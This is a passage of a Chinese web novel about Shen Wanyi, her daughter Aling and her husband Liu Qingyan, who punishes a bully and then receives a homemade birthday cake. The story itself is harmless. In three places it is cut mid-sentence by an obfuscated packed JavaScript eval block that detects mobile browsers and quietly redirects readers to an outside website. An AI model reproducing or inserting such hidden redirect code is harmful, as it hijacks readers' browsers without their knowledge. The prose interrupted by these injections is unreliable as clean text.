比如她的这个小人就正在揉面团;梁钺的那个也是和画像上一般持着一杆枪;柳青砚的那个捧着一卷书仿佛正在思考;而梁盈自己的这个则是在吃着糖葫芦。 一看就知道孩子没少花心思。 “阿盈真厉害!”沈婉仪摸了摸她的头,毫不吝啬地夸赞着。 “这是老师教你做的吗?” 梁盈摇了摇头,“不是,是阿瑶姐姐教我做的,阿瑶姐姐可会捏泥人了。” “那你阿瑶姐姐也挺厉害的。娘亲可以拿来看看吗?” 梁盈甜甜道,“可以。” 她说完,问,“娘亲,我可不可以把爹爹的这个泥人送给他当做生辰礼物?” 沈婉仪刚拿起泥人的手顿了一下,她没想到孩子这一番来去匆匆,原是刚刚听到她说的话之后便有了这个想法。 “可以呀。” 她想起柳青砚那日安慰孩子时那温柔的模样,想来他应是挺喜欢阿盈的。 “收到阿盈的礼物,你爹爹应该会很高兴的。” 毕竟是孩子用心做出来的礼物,想来柳青砚应不是扫兴的人。 “阿盈,这个泥人怎么有一条缝,是不小心摔到了吗?” 沈婉仪看着梁钺的这个小泥人,他的手臂和身子之间明显有重组的痕迹,应是直接断了之后又重新接上的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291942|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还不是都怪那个王义!要不是他来给我抢,也不会让爹爹的这个泥人摔在了地上。” 说起这个梁盈就来气,连声音都大了不少。 这个名字沈婉仪有些陌生,“王义也是私塾中念书的学生吗?” “对,他和连奚哥哥他们是一起的。” 梁盈这才把几日前发生的事讲给了沈婉仪听。 原是前段时日,她在曲瑶那里学了捏泥人的法子,于是老师让休息的那段时间以及下学后等柳青砚来接她的时间,她便跑去院里挖了泥巴来捏泥人。 有一次,她在等她爹爹时便在院中捏泥人,恰好就碰上了王义。 说起来这王义的父亲沈婉仪其实也认识,就是当年被沈嘉禾给揍成了猪头的王永。 王永那身功夫虽在沈嘉禾面前不够看,但后面也实实在在混了个校尉当当,后面凭借着他爹的关系,便也把孩子送到了丞相府的私塾里来。 王义在自己府里也是个使唤惯了的主,那日看见梁盈在捏泥人,还捏得惟妙惟肖,也不管这里是此处了,立马就吩咐梁盈给他也捏一个。 梁盈本身也不是什么好脾气,他若是好言相求也就罢了,偏偏还是这么一副趾高气扬的模样,她当即就回绝了他。 在屋里被捧惯了的王义哪里被人这般狠狠拒绝过,立即便来了脾气,冲上来便抢梁盈手里的泥人。 梁盈也没遇见过这样的人,一时不慎,手中的泥人便被他抢了去,那个泥人便是梁钺的这个。 沈婉仪也没想到女儿在私塾中竟然会遇到这种事,听得她眉头直皱,“那后来呢?” “他把我爹爹抢走了,我当然抢回来了!”梁盈说着,想起当时的情况,变得咬牙切齿起来。 她当时也不顾自己的个子比王义小一圈了,冲上去便和他扭打在一块,两人的两只手分别抓着泥人的一半身体,谁也不愿意放手。 王义听她口中喊着什么“爹爹”,不禁嘲笑道,“你爹早死了!你拿回去做什么?” “不如给小爷我玩玩,这才算发挥了用处!” 梁盈听到这话,更加不管不顾了起来,她张开嘴巴,狠狠一口便咬在了王义的手上。 王义吃痛,瞬间将梁盈带着泥人甩在了一边。 他大骂着,“你这个有爹生没爹养的东西,怎么和狗一样就会咬人!” 沈婉仪听到这里,已经怒火中烧了,还没听完就想去给女儿出气。 梁盈却拉住了她,“娘亲,不用去,爹爹已经给我出气了。” “你爹爹?柳青砚?” 梁盈点点头,“嗯。”她继续说后面发生的事。 当时两人这边动静闹大了之后,便来了好几个下人来将梁盈给扶起,但下人们却也不敢管主子的事,只能将两人给分开。 王义那边见打又打不着,便更加不管不顾地骂起来,全是攻击她没爹之类的这种话。 可他这次还没听到梁盈的还嘴,一阵冷得刺骨的声音便率先在自己背后响了起来。 “你刚才,骂她什么?” 柳青砚的视线越过他,看见梁盈擦破皮的手,她手中紧紧握住的泥人已经碎了半边,小姑娘眼眶通红却强忍着不哭。 他周身气压骤沉,连空气都似冻住,他来不及等王义反应,上前一步,单手扼住他的手腕,扯住他转过身来。 手被反手拧着,王义疼得嚎出声来,“快放开小爷,你知道......” 他话还没说完,凛冽的掌风已经破空而来,“啪”的一声响,响彻整个院子,打得梁盈都看呆了眼。 紧跟在柳青砚身后来的众人也傻了眼。 王义的脸火辣辣的疼,一巴掌下去,他的脸已经轻微肿了起来,话都说不全:“你、你是谁——” “我是她爹。” 随着话音落下的是第二巴掌。 47. 第 47 章 眼见柳青砚打了第二个耳光后仍是没有收手,跟在他身后赶来的王义母亲顾雪柔这下是彻底站不住了。 她三步并作两步踉跄着扑到王义身边,膝盖一软便朝着柳青砚的方向重重跪倒在地,双手死死攥住柳青砚的衣摆。 她声音发颤地替自家孩子求着情,“犬子疏加管教,口出狂言冒犯了梁小姐,我这就让他向梁小姐道歉。还望柳大人大人有大量,手下留情。” 柳青砚扣住王义手臂的手并没有因为他娘亲的求情就有半分松开的趋势。 听到顾雪柔的话后,他不仅没有收手,反而垂眸看着面前跪着的母子二人,居高临下地轻嗤了一声,“令郎既然疏加管教,便由我替王夫人管教一回。” “想来即使王校尉在此处,也必定不会拦着我的,王夫人,你说呢?” 顾雪柔面色铁青,咬了咬牙,道,“若是大人要罚,就由我这个做母亲的替孩子受罚吧!” 这话倒是听得柳青砚笑了笑,“也好。养不教,父之过,孩子在外如此口无遮拦,想来长辈也定然没有好好教导。” “王夫人既这样说了,那我就却之不恭了。” 但他说完,并没有亲自动手,而是示意一旁的言书过来。 眼见言书的身影越靠越近,顾雪柔浑身一僵,方才逞强硬撑的底气瞬间散了个干净。 她刚才那番话,原本想着这柳大人或许会考略到她一届妇人,放她们母子一马,可哪里知道他竟是半分颜面也不给。 她还想开口再次求情,可对上柳青砚那双冷冽如寒潭的眸子,她所有话都堵在了喉咙里,半个字也吐不出来。 柳青砚扫了她一眼后便放开了王义,走到了梁盈身边蹲下,他牵起梁盈擦破皮的手吹了吹,轻声道,“还疼吗?” 梁盈见到爹爹,小嘴一扁,豆大的眼泪就滚了出来。 她张开双手环住柳青砚的脖颈,刚刚还丝毫不吭声的她,此刻终于毫不顾忌地放声大哭起来。 柳青砚心疼地将小姑娘抱在怀中哄了又哄,好在梁盈也不是什么爱哭的性子,待那股委屈劲缓过来后,她的哭声也渐渐停了。 那边言书的动作也早停了,梁盈终于有空从她爹爹怀抱中抬起头去看那边的情景。 顾雪柔母子二人并排立着,她挨了三记耳光,王义挨了两记耳光,两人脸上皆是恰到好处的红肿,不算惨烈,却也足够让人心惊。 王义刚才身上那股骄纵气焰此刻已经全然不见了,只夹着眼泪,捂着被打的那边脸低着头。 言书给顾雪柔递上了一个药瓶。 “王夫人,望你以此为戒,以后用心教导孩子。” 柳青砚说这话时,正抱着孩子往外走,原本围着的众人自觉给他让出条路来,这其中有下人,有其他来接孩子回府的父母,还有几个丞相府的本家人。 这些人虽后面赶到,但也听到了王义口中骂的的那几句话,于是从始至终众人都在一旁默不作声地看着,并不愿卷入这场纷争之中。 柳青砚最后这句话虽是说给王夫人听,但在场的众人无一不知,他这是说给所有人听。 若有人再不知死活去欺负梁盈,这便是下场。 “......然后爹爹就抱着我走了。虽然后来我把泥人修好了,但是他的手臂上还是有那条缺口。” 沈婉仪努力从女儿的描述中去想象那时的柳青砚,可惜在她脑海中呈现出来的他仍然是一副如沐春风的样子。 她回忆起从和他初次见面到现在,忽然发现柳青砚竟然从来没在她眼前发过一次火,甚至连冷脸的时候都很少有。 若不是现在听阿盈讲出这件事,她都快忘了他是个御史中丞这回事了。 御史中丞可不只是有嘴皮子厉害,他们还会经常参与到朝中问题官员的要案中,审讯、逼问这些肯定是少不了的。 而这些场面往往都会伴随着血肉模糊的画面,想来柳青砚去审讯时,也不会是一副笑意盈盈的模样。 不过沈婉仪也没有怪他的意思,若是她当时在场或许做得只会比这更绝。别说这王义是校尉儿子,就算他是丞相儿子,她也定会给女儿讨个说法。 柳青砚给她女儿出了气,她应该谢谢他才对。 刚好三日后是他的生辰,除了书桌上的那幅画,她还可以借此机备上一份薄礼,也算是尽了心意。 “娘亲,你没看到,爹爹当时可威风了,那些人连大气都不敢喘一个。”梁盈一边摆弄着泥人,一边说着,亮晶晶的眸子里满是骄傲与崇拜。 但听完这句话的沈婉仪,忽地不合时宜地想起成婚那日发生的事来。 阿盈不是他的亲生女儿他都会如此奋力维护,怕她受委屈,替她出气,可是为何当那萧世子用那样侮辱人的言语攻击他时,他反倒说不话来了呢? 沈婉仪看着窗外的梅花,想着这事出了神。 * 腊月二十六,依旧放晴。 虽是今日生辰,但柳青砚照样得去上朝,好的是他说年前的事务都处理的差不多了,今晚可以早些回来。 沈婉仪在他走后不久便也带着梁盈出了门。 她之前听江霁月说过在她们家乡若是遇上有人的生辰便会吃一个叫“蛋糕”的糕点,两日前她特意去江府请教了她这个糕点的做法,她打算在今日做一个出来送给柳青砚。 因为需要用上窑烤,在柳府里定是做不成的,所以沈婉仪才带着女儿来了怀安街,她和江霁月的小厨房。 靠近年底,这几日她和江霁月都已经和扩建的师傅们打了招呼,让他们回去过年,待到年后才回来,所以小厨房目前是没人的。 扩建的地方主要是在靠近味美楼的墙角,并不影响厨房和面包窑的使用。 需要的食材,沈婉仪已经打了招呼提前让人备好送过来了,现在,她只需要按照霁月教的方法将东西做出来就行。 经过这几个月来的不断重复练习,沈婉仪已经在江霁月这个师父的指导下成为了一名“烘焙”新手,但其实她也不确定能不能成功做出来霁月说的这个东西。 事实证明,她的担心不无道理。 一直折腾到下午,她勉强做出来了一个能看的蛋糕胚,中途她还抽空给她们母女俩做了个午饭。 她前面做出来的那些蛋糕,不是温度太高烤焦了,就是烤出来不久就缩成一团了,甚至还有出现分层情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300814|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 等到现在,沈婉仪无比庆幸自己今日出来时辰早,不然等到晚上柳青砚的生辰过了,她的这个蛋糕恐怕都还没有做出来。 除了蛋糕胚便是奶油了,根据江霁月的说法,她们这里条件有限,只能做个大概,所以当沈婉仪最后做出来半凝固的奶霜时,她知道自己已经算成功了。 而她忙着的时候,梁盈也没闲着。 她是第一次跟着她娘亲来此处,也是第一次亲眼看到她之前吃的那些好吃的糕点是如此制作出来的。 沈婉仪在那边做蛋糕,她便拿着她娘亲剩的这些边角料在那搓圆搓扁,沈婉仪还专门给她和了面团,教她怎么做。 梁盈捏着面团就像捏着泥人,玩得不亦乐乎。 蛋糕出炉的时候,她自己捏的小兔馒头也出了炉,梁盈看着自己的作品,高兴得不得了。 母女俩皆是满载而归。 沈婉仪和梁盈回府的时候,日头刚刚偏西,斜斜挂在天际,将府中檐角都染得暖黄。 距离柳青砚回来的时辰还早,她让人把自己和梁盈做的东西放好后,又转身去了厨房把面容揉好放在一旁醒着。 忙完这一切,她终于放心地回自己院子歇着。 赶着还有一点西斜的阳光,她便命人将软榻搬至院中梅树下,自己躺了上去。奔波忙碌了一日,躺上去没多久,沈婉仪的倦意便翻涌起来。 梁盈原本还在院子里玩,见母亲上了软榻,便也凑热闹似的过来挤着,沈婉仪早习惯她这样,她一上来便把她揽入怀中让她和自己一起休息。 前些时日下的雪经过这几日的暖阳都化得差不多了,就连堆在墙角下的积雪都薄了几分。 梅树经雪洗过,花枝愈显清润,微风一吹,梅枝轻晃,暗香幽幽萦绕在身侧。 在这静谧美好的场景中,树下的两人不多时便传来呼吸轻匀的声音,沈婉仪和女儿一起睡了过去。 ...... 再醒过来时,耳边首先听到的是翻页的声音,还有窸窸窣窣的说话声。 沈婉仪迷迷糊糊地坐起来,却见自己原先盖着的薄毯之上又加盖了一件厚厚的狐裘。 见她醒了,那窸窸窣窣的声音也不再刻意压着,而是清脆地道,“娘亲醒了,我现在可以开始背诗了吧。” 柳青砚淡淡“嗯”了一声,手上倒了一杯温水递过来,“可是吵到你了?” 梁盈的声音在院子响起,“一去二三里,烟村四五家......” 沈婉仪接过喝了一口,温润的茶水下肚,意识也终于清醒了些,她抬头向远处看去,天色泛起靛蓝,现下已是连残阳都看不到了。 “怎么没把我叫醒?” “阿盈说你们忙活了一天,我想你定是累得不轻,便想着让你多歇息一会。” “倒也不是有这么累......” 不过是她每次午睡都容易睡得很沉,不容易醒来罢了。 “婉婉,你和阿盈今日去做了什么,怎么会忙这么久?摊子不是已经暂时关闭了吗?” 沈婉仪听他这仿佛审问犯人似的语气,忍不住挑眉,弯了弯唇角调侃道,“柳大人这是在审问我吗?” 48. 第 48 章 柳青砚也察觉出自己这话盘问意味太盛,微微垂眸,掩去了眸中情绪。 良久,沈婉仪听到他道了一声,“抱歉。” 刚才还温馨美满的气氛一下变得冷淡起来,但这并不是沈婉仪的本意,她哪晓得本是一句调侃的话,柳青砚却反倒还当真了。 而柳青砚显然也察觉到了这凝滞的氛围,正想重新寻找话题打破这尴尬场面的时候,梁盈却背完了诗跑了过来。 她拉着沈婉仪的手晃了又晃,“娘亲,现在爹爹回来了,我的诗也背完了,我们是不是可以去吃蛋糕了呀?” 真是想打瞌睡就有人递枕头,柳青砚顺势接话下去,“蛋糕?这是何物?” 他忽然灵光一闪,像是想到了什么,眼睛亮了起来,欣喜地问,“阿婉,是你给我做的佳肴吗?” 沈婉仪自己都还没尝过这最后成品的味道,听到这话便下意识地摆了摆手,“佳肴......应该还谈不上,不过确是我做的。” 两人来到屋内,沈婉仪让人把冰鉴里面的蛋糕取了出来。 柳青砚还是第一次看到形状如此新奇的糕点,尤其是上面那层乳白色的奶霜,虽隐隐有融化的趋势,但反倒却增添了灵动之感。 沈婉仪把准备好的蜡烛插到了蛋糕上,并把房屋内的蜡烛逐一熄灭,屋内一时暗了下来。 她把手中的火柴擦亮,慢慢走回桌旁。 柳青砚一时不解,不由疑惑道,“婉婉,这是何意?” 梁盈在一旁抢答,“爹爹这你都不知道呀?今天是你生辰,你要吹蜡烛许愿呀!” 看着旁边蹦蹦跳跳的她,柳青砚宠溺道,“爹爹确实孤陋寡闻了,阿盈能否做爹爹的老师,为爹爹讲解一下呢?” 听见自己可以当爹爹的老师,梁盈神气地扬起小脸,“江姨说,在她们家乡,蛋糕是大部分人生辰时都会吃的东西。” 她边说着边比划着,“喏,这个就是蛋糕。” 她又指向上面插着的蜡烛,“在吃蛋糕之前,需要先插上蜡烛点燃许愿,等神仙听到你的愿望后把蜡烛吹灭就可以吃蛋糕啦!” “哦?那愿望会实现吗?” 梁盈的小脸上满是认真又笃定,“当然啦!我去年许的愿望就实现了!” 柳青砚的目光不由落到了对面之人身上,他望着那道暖黄烛光映出来的身影,轻声呢喃,“看来神仙真的听到了呢。” 沈婉仪正神情专注地将蜡烛逐一点燃,点完后,她做了一个“请”的手势,“青砚,快许愿吧。” 或许是听了梁盈那番话的缘故,柳青砚看着她眉眼之间明明灭灭的光,忽地不自觉念叨了一句,“也不知我许的愿望神仙会不会听到。” 沈婉仪听了他这话,只觉心头软了一下,又觉得有些好笑。 这人怎么还和阿盈似的,一副孩子气的模样。 “心诚则灵。夫君何不试试看?” 许久没有听到她唤自己夫君了,柳青砚弯了弯唇角,“夫人说的是。” 梁盈尽职尽责地做好小老师,认真地教她爹爹要怎么许愿神仙才会听到。 柳青砚按照她教的动作,双手在胸口交叉相握,许下了一个愿望。 蛋糕上的蜡烛吹灭后,沈婉仪又重新将屋里点亮。这次,她顺道将前几日就一直画好放在书桌上的画拿了过来。 “答应你的生辰礼物。生辰快乐,青砚。” 柳青砚瞧着她言笑晏晏的模样,一时竟忘了应声,指尖悬在半空,迟迟不敢去接。 沈婉仪见他有些怔然,伸出手在他眼前晃了晃,“青砚,打开看看吧,看看是否合你心意。” 柳青砚在她这一提醒下回过神来,忙将画给接过去打开,当他终于看清画像上的场景时,他沉默了片刻。 然后问出了连日来他一直最想问出的问题。 “阿婉,为什么选择画那日的我呢?” 在她画这幅画时,他几乎夜夜相伴,当这幅画初具雏形时,他也几乎毫不费力地就知道了她画的是什么时候的他。 但是他却不懂,那时也并没有发生什么特别的事,阿婉怎么就选择了画那时的他呢? 沈婉仪这副画里的他正是那晚他站在月桂树下身披月色与她温柔相望的模样。 听他这样问,沈婉仪心中早有准备,她云淡风轻道,“印象深刻,便画了。 “那时我不是说过吗?夫君之前太过消瘦,养得丰腴些后,面部轮廓流畅,反倒更显朗目星眉,比从前好看多了。” 她将打好的腹稿一口气说完,“那晚桂花树下,夫君风姿俊逸,令人印象深刻,于是便画了这幅画,赠予夫君。” 这些都是真话,但沈婉仪却避重就轻省去了最重要的原因。 柳青砚也显然有些不信,他语气悠悠道,“阿婉,你不会是在恭维我吧?” “怎么会?夫君今日生辰,我又怎好说谎来欺骗夫君呢?” 沈婉仪面上的神情真挚而诚恳,再加上她一口一个夫君,柳青砚忽地不想计较这么多了。 只要现在这样就好。 只要现在这样就好,他对自己说。 他仔细将画给收好,郑重道,“阿婉,我很喜欢,劳烦你了。” “爹爹,娘亲,你们还要说到什么时候啊?蛋糕都快化啦!” 梁盈略带抱怨的话,将两人的注意力重新转移到蛋糕上。 沈婉仪把准备好的小刀递给他,“青砚,你来。” 柳青砚握着小刀一点点切入蛋糕表层,酥软的糕体随着他的动作慢慢裂开,上层流动的奶霜顺着裂缝流下,宛如瀑布一般。 他切了一大块用盘子装着递给阿盈,梁盈并不和他客气,说了一句“谢谢爹爹”后,便准备坐上凳子开吃了。 待在收到娘亲的眼神后,她又乖乖地把蛋糕推回他面前,软软道,“爹爹,今日是你的生辰,还是你先吃吧。” 柳青砚摸了摸她的头,温柔又宠溺道,“阿盈真乖。但爹爹还是想阿盈先吃,阿盈不用客气。” 他说完怕沈婉仪再阻止,还特意用眼神向她示意。 寿星发了话,沈婉仪这下也就没再阻止。 他第二块蛋糕分给了她,再然后才是他自己。 沈婉仪到底没忍住说了一句,“你应该自己先吃的。” 柳青砚却不以为然,“阿婉,若是你过生日,你可会把第一块蛋糕给自己?” 她摇了摇头,阿盈喜欢吃蛋糕,若是有蛋糕,她的第一块都会分享给她。 “这是同样的道理。” 沈婉仪反驳道,“这不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315844|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......” 我是她娘,自是要让着她的。 “如何不一样?你是阿盈的娘亲,我是她的爹爹,做父母的,自然是要体贴孩子的。” 沈婉仪嘴唇翕动,想好的那番话到底吞了回去。 “你说的是。趁着上面的奶霜还没化,快尝尝味道吧。” 柳青砚闻言用叉子轻轻切下一小块送入口中,唇齿轻碾,细细品味着那湿润柔软的糕体以及那细腻柔滑的奶霜。 沈婉仪停下了手中的动作,全神贯注地等待着他的反应,她忐忑又期待地问,“怎么样?” “很好吃。” 沈婉仪还没来得及高兴,却见他拿着叉子的手腕微转,一眨眼的时间,叉着一小块蛋糕的叉子已递至嘴边。 “阿婉,你不尝尝看吗?” “要不我自己......”来吧。 后面两个字还没来得及说出口,却听见柳青砚有些惊慌失措的声音,“啊,快掉了。” 沈婉仪来不及细想,一张口便轻咬住了那近在咫尺的蛋糕。 柳青砚的指尖稳稳收住叉子,好让她不被叉子伤到,他看着她乖乖咬住蛋糕的模样,喉间低低溢出一声轻笑,轻得几乎听不清。 他问,“好吃吗?阿婉。” 沈婉仪并没察觉到他的小心思,只唇瓣轻抿,琢磨唇齿之间的味道。 “还行,但比起霁月做的还是不够。” 柳青砚收起递出去的叉子,又叉下一小块送入自己的口中,他感受那香甜和丝滑的触感,鼓励道,“阿婉,你这是第一次做,已经很不错了。” “对呀,娘亲,我都快吃完了!” 梁盈抬起头,露出被奶霜沾的到处都是的小花脸,她舔了舔唇,将手里的盘子递过来,“爹爹,我可以再来一块吗?” 沈婉仪见她这幅模样,不由叹了一口气,拿出帕子走了过去,动作轻柔地为她擦去脸上的奶霜。 擦完后,她捏了捏她的鼻子,“小花猫,再吃一块就不能再吃啦。” “嗯嗯。爹爹,娘亲都说了,快给我吧。” 柳青砚这才把手中早已切好的蛋糕端至她的身前。 这几个月相处下来,他早已清楚阿盈的食量,给她切的蛋糕也是正正好的。 梁盈这边吃着,他们两个大人也没有浪费,三个人正好把一个六寸大的蛋糕吃完。 梁盈吃完了才想起来礼物的事,于是连忙跑去自己的房间,把早就准备好的礼物送给她爹爹。 柳青砚有些受宠若惊。 那日他明明看到她做的那个泥人是梁钺,他还以为她不会给自己做来着。 于是说出口的话都带着几分不敢置信,“这是给我的吗?阿盈?” “对呀,爹爹,这个是我捏的你。你看像不像?” “像,很像很像。” 柳青砚的目光落在这小小的泥人身上,有些爱不释手。梁钺有的东西,他又有了一个,这意味着什么,不必言说。 快了,快了,他在心里默念着。 等到阿盈彻底接受他的父亲身份,想来阿婉也快适应他这个夫君了吧。 等到那时,即便他不再是那幅画中温润君子的模样,想来她应当也会接受的吧? 毕竟他的阿婉那么好。